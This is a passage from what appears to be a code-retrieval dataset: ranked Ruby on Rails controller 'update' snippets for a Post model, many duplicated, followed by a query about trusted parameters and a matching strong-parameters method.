"dce0a6e721f096c679bdd9aa00e3596c", "score": "0.64394486", "text": "def update\n @post = Post.find(params[:id])\n @post.update_attributes(params[:post])\n respond_with(@post)\n end", "title": "" }, { "docid": "83d07157acaeab193d0e3ac861126633", "score": "0.64319825", "text": "def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "83d07157acaeab193d0e3ac861126633", "score": "0.64319825", "text": "def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "83d07157acaeab193d0e3ac861126633", "score": "0.64319825", "text": "def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "83d07157acaeab193d0e3ac861126633", "score": "0.64319825", "text": "def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "67d24b8fd779df7c81cdb4b9c1d522a4", "score": "0.6431203", "text": "def update\n @post.update(post_params)\n if @post.save\n render json: @post, status: :accepted\n else\n render json: { errors: @post.errors.full_messages }, status: :unprocessible_entity\n end\n end", "title": "" }, { "docid": "1e2ec02328989bb93a1c434fc649691a", "score": "0.64310706", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "842c744b226d4f82eef317112a15172d", "score": "0.6429256", "text": "def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to '/posts', notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b731f472a9b1deeb1e059fa098e8049b", "score": "0.6416771", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to root_path, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2a6392bf5c092bc2a69ba14e0e08226", "score": "0.6414698", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2a6392bf5c092bc2a69ba14e0e08226", "score": "0.64142597", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2a6392bf5c092bc2a69ba14e0e08226", "score": "0.6414163", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25192d7966c43b7613ce1b2f18f7d1c6", "score": "0.6401499", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25192d7966c43b7613ce1b2f18f7d1c6", "score": "0.6401499", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0bca949b96828d0f137484de4066ae8", "score": "0.6398902", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce96d318052b256737d59d465afd971e", "score": "0.63984114", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to manage_posts_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42c655873cc874969c482b0587b109c2", "score": "0.6391396", "text": "def update\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2aca442d6a9eba292d6804cd57e4da1f", "score": "0.63889897", "text": "def update\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to post_path(@post), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f6b1590b8283bd37a342385f0161e67d", "score": "0.63811356", "text": "def update\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59c755f666b408374803da7d5878cc21", "score": "0.63804525", "text": "def update\n @post.update(post_params)\n respond_with @post\n end", "title": "" }, { "docid": "249d4fdfb1fc0c681eca504cd930f289", "score": "0.63784593", "text": "def update\n @api_v1_post_flag = PostFlag.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_flag.update_attributes(params[:api_v1_post_flag])\n format.html { redirect_to @api_v1_post_flag, notice: 'Post flag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_flag.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81ef3155a13698aaded9bb0a4c89c26e", "score": "0.63741547", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to :back, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93505fe39c6cac6e6192cc4119651da2", "score": "0.6373353", "text": "def update\n respond_to do |format|\n if @post.update(post_params)\n Rails.cache.delete('posts')\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffb039fa9832bc86d7bf589be55157e1", "score": "0.6372597", "text": "def update\n if @post.update_attributes(params[:post])\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.63711846", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3bf14f351b14076f4640806c10079d3", "score": "0.6371108", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8c2766c209fd33f90019f1df7d7ab66", "score": "0.6368185", "text": "def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2741eecb9c72ebef4416b16eb9c4c4c6", "score": "0.6365469", "text": "def update\n if update_post\n render json: { status: :ok }\n else\n render json: { errors: @post.errors }, status: :unauthorized\n end\n end", "title": "" }, { "docid": "f52312228fdbe4ea48278b0a60ae88bf", "score": "0.63589764", "text": "def update\n @post = Post.find(params[:id])\n \n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { respond_with_bip(@post) }\n else\n format.html { render :action => \"edit\" }\n format.json { respond_with_bip(@post) }\n end\n end\n end", "title": "" }, { "docid": "cbfc487a82eba0dce5a22881effa57d0", "score": "0.63587636", "text": "def update\n #@post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a7b58399279447dc95c67bde66a62949", "score": "0.6357633", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.63573265", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63345626fe07a82461b4736b401934e2", "score": "0.6357237", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc20f08bcc7d7808cfb170b1c319b096", "score": "0.6354463", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to post_path(@post), notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "609b5c9f098fa2ecfbfc6d725ced2f75", "score": "0.6348769", "text": "def update\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "717cdc03b787b02b12763af0c22d7d83", "score": "0.63361233", "text": "def update\n @post = Post.find(params[:id])\n @post.published = true\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e7d9a7b6e30d22ccf748745453576e4", "score": "0.63275534", "text": "def update\n @post = Post.find(params[:id])\n @posts = Post.all\n @tags = Tag.all\n \n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6844b0fdf6a46dd958e14307e53ede94", "score": "0.6293825", "text": "def update\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
e561e11bcf379ef5dc139c210017366b
Only allow a list of trusted parameters through.
[ { "docid": "a6d788c48dbab4e69ba30b42bbf86d7c", "score": "0.0", "text": "def coin_params\n params.require(:coin).permit(:coin_api_id, :name, :symbol)\n end", "title": "" } ]
